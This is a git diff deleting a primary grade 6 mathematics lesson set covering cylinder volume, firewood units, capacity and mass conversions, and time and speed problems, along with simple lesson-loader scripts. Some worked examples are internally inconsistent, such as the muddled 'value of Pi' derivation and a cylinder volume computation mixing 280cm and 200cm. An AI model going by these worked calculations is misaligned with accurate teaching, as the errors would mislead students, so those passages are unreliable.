-    Measurements of firewood
-   </li>
-  </ul>
-  Decastere(dast)
-  <br />
-  Stere(st)
-  <br />
-  Decistere(dst)
-  <br />
-  <br />
-  <ul>
-   <li>
-    Comparison
-   </li>
-  </ul>
-  1st=1m
-  <sup>
-   3
-  </sup>
-  =1t
-  <br />
-  1l=1dm
-  <sup>
-   3
-  </sup>
-  =1kg
-  <br />
-  5000l=5t=5st
-  <br />
-  1st=10dst=10q=10hl
-  <br />
-  1dast=100dst
-  <br />
-  1dast=10st
- </div>
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a02/description.py b/Save_Mathematics/P6/map611m16/map611m17a02/description.py
deleted file mode 100644
index fa7a462..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a02/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m17a02',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m16/map611m17a02/lesson.js b/Save_Mathematics/P6/map611m16/map611m17a02/lesson.js
deleted file mode 100644
index ab45fec..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a02/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m16/map611m17a02/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m16/map611m17a02/source.txt b/Save_Mathematics/P6/map611m16/map611m17a02/source.txt
deleted file mode 100644
index 8c22e7b..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a02/source.txt
+++ /dev/null
@@ -1,737 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
- </span>
- <br />
- <br />
- Consider the following figure:
- <br />
- <br />
- <br />
- <br />
- <br />
- <br />
-</p>
-<div style="text-align: center; direction: ltr;">
- <span style="font-weight: bold;">
-  V=Pi*r2*h=Pi*r*r*h
- </span>
- <br />
- <div style="text-align: left;">
-  <br />
-  Where V:Volume
-  <br />
-  Pi=3.14
-  <br />
-  r=cicle radius
-  <br />
-  h=height
-  <br />
-  <br />
-  Example1: Find the value of Pi if
-  <br />
-  height=2cm
-  <br />
-  r=140cm
-  <br />
-  d=140*2=280
-  <br style="font-weight: bold;" />
-  <br style="font-weight: bold;" />
-  <span style="font-weight: bold;">
-   Solution:
-  </span>
-  <br />
-  <br />
-  Pi=
-  <span style="text-decoration: underline;">
-   3*diameter+diameter/7
-  </span>
-  <br />
-  diameter
-  <br />
-  <br />
-  <br />
-  =
-  <span style="text-decoration: underline;">
-   (280cm*3) +280cm/7
-  </span>
-  =
-  <span style="text-decoration: underline;">
-   840cm+406cm
-  </span>
-  <br />
-  280cm 280cm
-  <br />
-  <br />
-  =3.142857=3.14 or
-  <span style="text-decoration: underline;">
-   22
-  </span>
-  <br />
-  7
-  <br />
-  <br />
-  If diameter is 7cm
-  <br />
-  <br />
-  V=(
-  <span style="text-decoration: underline;">
-   22 *140cm*140cm
-  </span>
-  )*200
-  <br />
-  7
-  <br />
-  V=
-  <span style="text-decoration: underline;">
-   22
-  </span>
-  *19600cm
-  <sup>
-   2
-  </sup>
-  *280cm
-  <br />
-  7
-  <br />
-  V=22*2800cm
-  <sup>
-   2
-  </sup>
-  *200cm
-  <br />
-  <br />
-  V=61600cm
-  <sup>
-   2
-  </sup>
-  *200cm
-  <br />
-  =12 320 000cm
-  <sup>
-   3
-  </sup>
-  <br />
-  <br />
-  Capacity=12 320 000litres
-  <br />
-  <br />
-  Comparing units using a conversion table.
-  <br />
-  <br />
-  <br />
-  <table border="1" width="100%">
-   <tbody>
-    <tr>
-     <td colspan="12" width="8%" valign="top">
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      UNITS
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-      <br />
-      <br />
-      <br />
-      <br />
-      Measurementts of
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      m
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      dm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      cm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td colspan="3" width="8%" valign="top">
-      <br />
-      mm
-      <sup>
-       3
-      </sup>
-      <br />
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-      volu
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dast
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      st
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dst
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      firewood
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      t
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      q
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      -
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      kg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      hg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dag
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      g
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      cg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      mg
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      mass
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      hl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dal
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      l
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      dl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      cl
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      ml
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      capacity
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      1
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      5
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      0
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-     <td width="8%" valign="top">
-      <br />
-     </td>
-    </tr>
-    <tr>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      1
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      0
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      0
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-     <td style="vertical-align: top;">
-      <br />
-     </td>
-    </tr>
-   </tbody>
-  </table>
-  <span class="nolink">
-  </span>
-  <br />
-  <br />
-  <ul>
-   <li>
-    Measuremens of volume.
-   </li>
-  </ul>
-  Cube kilometres: (1km
-  <sup>
-   3
-  </sup>
-  )=1km*1km*1km
-  <br />
-  Cube hectometres(1hm
-  <sup>
-   3
-  </sup>
-  )=1hm*1hm*1hm
-  <br />
-  Cube decametres(1dam
-  <sup>
-   3
-  </sup>
-  )=1dam*1dam*1dam
-  <br />
-  Cube metres(m
-  <sup>
-   3
-  </sup>
-  )=1m*1m*1m
-  <br />
-  Cube decimetres(1dm
-  <sup>
-   3
-  </sup>
-  )=1dm*1dm*1dm
-  <br />
-  Cube centimetres(1cm
-  <sup>
-   3
-  </sup>
-  )=1cm*1cm*1cm
-  <br />
-  Cube millimetres(mm
-  <sup>
-   3
-  </sup>
-  )=1mm*1mm*1mm
-  <br />
-  <br />
-  <ul>
-   <li>
-    Measurements of firewood
-   </li>
-  </ul>
-  Decastere(dast)
-  <br />
-  Stere(st)
-  <br />
-  Decistere(dst)
-  <br />
-  <br />
-  <ul>
-   <li>
-    Comparison
-   </li>
-  </ul>
-  1st=1m
-  <sup>
-   3
-  </sup>
-  =1t
-  <br />
-  1l=1dm
-  <sup>
-   3
-  </sup>
-  =1kg
-  <br />
-  5000l=5t=5st
-  <br />
-  1st=10dst=10q=10hl
-  <br />
-  1dast=100dst
-  <br />
-  1dast=10st
- </div>
-</div>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a03/a.txt b/Save_Mathematics/P6/map611m16/map611m17a03/a.txt
deleted file mode 100644
index 4c897f5..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a03/a.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Independent Practice:
- </span>
-</p>
-<p>
- <br />
- Answer the following:
- <br />
- a)Find the volume of the cylinder whose radiys equals 105 cm, and height is 189cm.
- <br />
- <br />
- b) The weight of 5steres is 600hg. Find the total weighht of firewood.
- <br />
- <br />
- c) The totl weight of firewood is 2,500t if the weight of decasteres is 100tones, how many decasteres aae there?
- <br />
- <br />
- d)
-</p>
-<ul>
- <li>
-  8dm
-  <sup>
-   3
-  </sup>
-  =...........dl=............dag
- </li>
- <li>
-  29dast=............dst=.........l=...........hg
- </li>
- <li>
-  53g=.............mm
-  <sup>
-   3
-  </sup>
- </li>
- <li>
-  1755cm
-  <sup>
-   3
-  </sup>
-  =.............ml=...........mg
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a03/description.py b/Save_Mathematics/P6/map611m16/map611m17a03/description.py
deleted file mode 100644
index ec3902e..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a03/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m17a03',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m16/map611m17a03/lesson.js b/Save_Mathematics/P6/map611m16/map611m17a03/lesson.js
deleted file mode 100644
index 57adcb6..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a03/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m16/map611m17a03/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m16/map611m17a03/source.txt b/Save_Mathematics/P6/map611m16/map611m17a03/source.txt
deleted file mode 100644
index 4c897f5..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a03/source.txt
+++ /dev/null
@@ -1,49 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Independent Practice:
- </span>
-</p>
-<p>
- <br />
- Answer the following:
- <br />
- a)Find the volume of the cylinder whose radiys equals 105 cm, and height is 189cm.
- <br />
- <br />
- b) The weight of 5steres is 600hg. Find the total weighht of firewood.
- <br />
- <br />
- c) The totl weight of firewood is 2,500t if the weight of decasteres is 100tones, how many decasteres aae there?
- <br />
- <br />
- d)
-</p>
-<ul>
- <li>
-  8dm
-  <sup>
-   3
-  </sup>
-  =...........dl=............dag
- </li>
- <li>
-  29dast=............dst=.........l=...........hg
- </li>
- <li>
-  53g=.............mm
-  <sup>
-   3
-  </sup>
- </li>
- <li>
-  1755cm
-  <sup>
-   3
-  </sup>
-  =.............ml=...........mg
- </li>
-</ul>
-<p>
- <br />
- <br />
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a04/a.txt b/Save_Mathematics/P6/map611m16/map611m17a04/a.txt
deleted file mode 100644
index 880c54c..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a04/a.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation:
- </span>
- <br style="font-weight: bold;" />
- <br />
- Answer the following:
- <br />
- <br />
- a) 98kg=.............cl=.............cg
- <br />
- b)12dast13dst+55d=............ml
- <br />
- c)Find the volume of the cylinder whose height is 82cm and diameter 80cm.
- <br />
- d)148dast-1325dst=..............dag
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a04/description.py b/Save_Mathematics/P6/map611m16/map611m17a04/description.py
deleted file mode 100644
index 1702d52..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a04/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m17a04',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m16/map611m17a04/lesson.js b/Save_Mathematics/P6/map611m16/map611m17a04/lesson.js
deleted file mode 100644
index 5b1a952..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a04/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m16/map611m17a04/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m16/map611m17a04/source.txt b/Save_Mathematics/P6/map611m16/map611m17a04/source.txt
deleted file mode 100644
index 880c54c..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a04/source.txt
+++ /dev/null
@@ -1,17 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Evaluation:
- </span>
- <br style="font-weight: bold;" />
- <br />
- Answer the following:
- <br />
- <br />
- a) 98kg=.............cl=.............cg
- <br />
- b)12dast13dst+55d=............ml
- <br />
- c)Find the volume of the cylinder whose height is 82cm and diameter 80cm.
- <br />
- d)148dast-1325dst=..............dag
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a05/a.txt b/Save_Mathematics/P6/map611m16/map611m17a05/a.txt
deleted file mode 100644
index 0b93446..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a05/a.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Remedial:
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- We use the measurements to identify the volume of the tanks. we can also use them to know the quantity of firewood or the capacity.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Answer the following
- </li>
-</ul>
-<p>
- a) 14dast=.............dst
- <br />
- b) 35st=.............dal=..............dag
- <br />
- c) Find the volume of the cylinder whose height is 1m nd diameter of 140cm.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a05/description.py b/Save_Mathematics/P6/map611m16/map611m17a05/description.py
deleted file mode 100644
index 7fdec9e..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a05/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m17a05',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m16/map611m17a05/lesson.js b/Save_Mathematics/P6/map611m16/map611m17a05/lesson.js
deleted file mode 100644
index 7f5258c..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a05/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m16/map611m17a05/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m16/map611m17a05/source.txt b/Save_Mathematics/P6/map611m16/map611m17a05/source.txt
deleted file mode 100644
index 0b93446..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a05/source.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Remedial:
- </span>
- <br style="font-weight: bold;" />
- <br style="font-weight: bold;" />
- We use the measurements to identify the volume of the tanks. we can also use them to know the quantity of firewood or the capacity.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  Answer the following
- </li>
-</ul>
-<p>
- a) 14dast=.............dst
- <br />
- b) 35st=.............dal=..............dag
- <br />
- c) Find the volume of the cylinder whose height is 1m nd diameter of 140cm.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a06/a.txt b/Save_Mathematics/P6/map611m16/map611m17a06/a.txt
deleted file mode 100644
index 0d35c3f..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a06/a.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Enrichments:
-  <br />
-  <br />
- </span>
- Find the answer of the following:
- <br />
- <br />
- a) 7hl=............kg=.............dm
- <sup>
-  3
- </sup>
- <br />
- b) 27dst=..........cm
- <sup>
-  3
- </sup>
- =.........ml
- <br />
- c) 8dast+3hl+10m
- <sup>
-  3
- </sup>
- =............l
- <br />
- d) If the weight of 110 decisters is 48hg, find the total weight of the fireewood.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m16/map611m17a06/description.py b/Save_Mathematics/P6/map611m16/map611m17a06/description.py
deleted file mode 100644
index c5a14c0..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a06/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m17a06',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m16/map611m17a06/lesson.js b/Save_Mathematics/P6/map611m16/map611m17a06/lesson.js
deleted file mode 100644
index 2e6360d..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a06/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m16/map611m17a06/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m16/map611m17a06/source.txt b/Save_Mathematics/P6/map611m16/map611m17a06/source.txt
deleted file mode 100644
index 0d35c3f..0000000
--- a/Save_Mathematics/P6/map611m16/map611m17a06/source.txt
+++ /dev/null
@@ -1,28 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Enrichments:
-  <br />
-  <br />
- </span>
- Find the answer of the following:
- <br />
- <br />
- a) 7hl=............kg=.............dm
- <sup>
-  3
- </sup>
- <br />
- b) 27dst=..........cm
- <sup>
-  3
- </sup>
- =.........ml
- <br />
- c) 8dast+3hl+10m
- <sup>
-  3
- </sup>
- =............l
- <br />
- d) If the weight of 110 decisters is 48hg, find the total weight of the fireewood.
-</p>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m17/activities.js b/Save_Mathematics/P6/map611m17/activities.js
deleted file mode 100755
index 98c33c5..0000000
--- a/Save_Mathematics/P6/map611m17/activities.js
+++ /dev/null
@@ -1,8 +0,0 @@
-var activities = [
-['1','1','map6','basic','map611m18a01','blue'],
-['2','2','map6','basic','map611m18a02','blue'],
-['3','3','map6','basic','map611m18a03','blue'],
-['4','4','map6','basic','map611m18a04','blue'],
-];
-var assetList = [];
-var logos = [];
diff --git a/Save_Mathematics/P6/map611m17/map611m18a01/a.txt b/Save_Mathematics/P6/map611m17/map611m18a01/a.txt
deleted file mode 100644
index 4f1db83..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a01/a.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  INTRODUCTION.
- </span>
- <br />
- <br />
- Everybody needs to know the starting time for working, needs to know time for giving up tasks, we use measurement of time when we talk about the speed of using for moving, for playing, for watching television. In teaching the time for starting is 7h15minutes, the time for ending is 5:00 PM. We talk about years or days for making something.
- <br />
- <br />
- In this milestone we will learn seconds, minutes, hours, days, months, years.
- <br />
- <br />
- Here are some examples:
-</p>
-<ul>
- <li>
-  How many months are there in one year? There aree 12 months.
- </li>
- <li>
-  In 2010, in Primary school, one lesson takes 45 minutes.
- </li>
- <li>
-  One day has 24hours
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m17/map611m18a01/description.py b/Save_Mathematics/P6/map611m17/map611m18a01/description.py
deleted file mode 100644
index 23a396f..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a01/description.py
+++ /dev/null
@@ -1,7 +0,0 @@
-lesson(grade=0, subject='English', title='map611m18a01',week=0)
-
-
-java_script('lesson.js')
-
-footer_configuration(link_previous=True, link_next=True, scoreboard=False)
-
diff --git a/Save_Mathematics/P6/map611m17/map611m18a01/lesson.js b/Save_Mathematics/P6/map611m17/map611m18a01/lesson.js
deleted file mode 100644
index 0a769aa..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a01/lesson.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function initialize(karma) {
-  $('<div id="txtMain"/>')
-     .appendTo('#content')
-     .load('http://localhost:8008/cgi-bin/getFile.py',
-     {'filename':'content/Mathematics/map611m17/map611m18a01/a.txt'},
-     function(){
-    });
-};
-
-function startGame(karma) {
-};
-
-setUpLesson(initialize, startGame);
diff --git a/Save_Mathematics/P6/map611m17/map611m18a01/source.txt b/Save_Mathematics/P6/map611m17/map611m18a01/source.txt
deleted file mode 100644
index 4f1db83..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a01/source.txt
+++ /dev/null
@@ -1,25 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  INTRODUCTION.
- </span>
- <br />
- <br />
- Everybody needs to know the starting time for working, needs to know time for giving up tasks, we use measurement of time when we talk about the speed of using for moving, for playing, for watching television. In teaching the time for starting is 7h15minutes, the time for ending is 5:00 PM. We talk about years or days for making something.
- <br />
- <br />
- In this milestone we will learn seconds, minutes, hours, days, months, years.
- <br />
- <br />
- Here are some examples:
-</p>
-<ul>
- <li>
-  How many months are there in one year? There aree 12 months.
- </li>
- <li>
-  In 2010, in Primary school, one lesson takes 45 minutes.
- </li>
- <li>
-  One day has 24hours
- </li>
-</ul>
-\ No newline at end of file
diff --git a/Save_Mathematics/P6/map611m17/map611m18a02/a.txt b/Save_Mathematics/P6/map611m17/map611m18a02/a.txt
deleted file mode 100644
index 0fcef84..0000000
--- a/Save_Mathematics/P6/map611m17/map611m18a02/a.txt
+++ /dev/null
@@ -1,428 +0,0 @@
-<p>
- <span style="font-weight: bold;">
-  Guided Practice.
- </span>
- <br />
- <br />
- Example1: Duration
- <br />
- <br />
-</p>
-<ul>
- <li>
-  A video conference started at 9:30 a.m aand ended aat 2:40 P.M . How long was the video conference?
- </li>
-</ul>
-<p>
- Duration=14:40PM-9:30AM=4hours 50 minutes
- <br />
- <br />
-</p>
-<ul>
- <li>
-  A workshop started at 8:30 a.m and ended at 4:30 P.M. How many hours did it take?
- </li>
-</ul>
-<p>
- Duration=16:30-8:30=8hours
- <br />
- <br />
- Example2: Speed, Distance and time.
- <br />
- <br />
-</p>
-<ul>
- <li>
-  A bus traveled 7hours to cover a distance of 420km. At what speed does the bus travel.
- </li>
-</ul>
-<p>
- <span style="font-weight: bold;">
-  SOLUTION.
- </span>
- <br />
- <br />
- A) The given:
- <br />
- 1) Distance: 420km
- <br />
- 2) Time: 7hours
- <br />
- <br />
- B)Question
- <br />
- <br />
- Speed=?
- <br />
- <br />
- Formula: Speed=
- <span style="text-decoration: underline;">
-  Distance
- </span>
- <br />
- Time
- <br />
- <br />
- Speed =
- <span style="text-decoration: underline;">
-  420km
- </span>
- =60km/hr
- <br />
- 7h
- <br />
- <br />
- The speed of the bus is as 60km/r
- <br />
- <br />
-</p>
-<ul>
- <li>
-  At what sppeed was the bicycle travelling to corver 480km in 6hours?
- </li>
-</ul>
-<p>
- A) The given: Distance: 480km
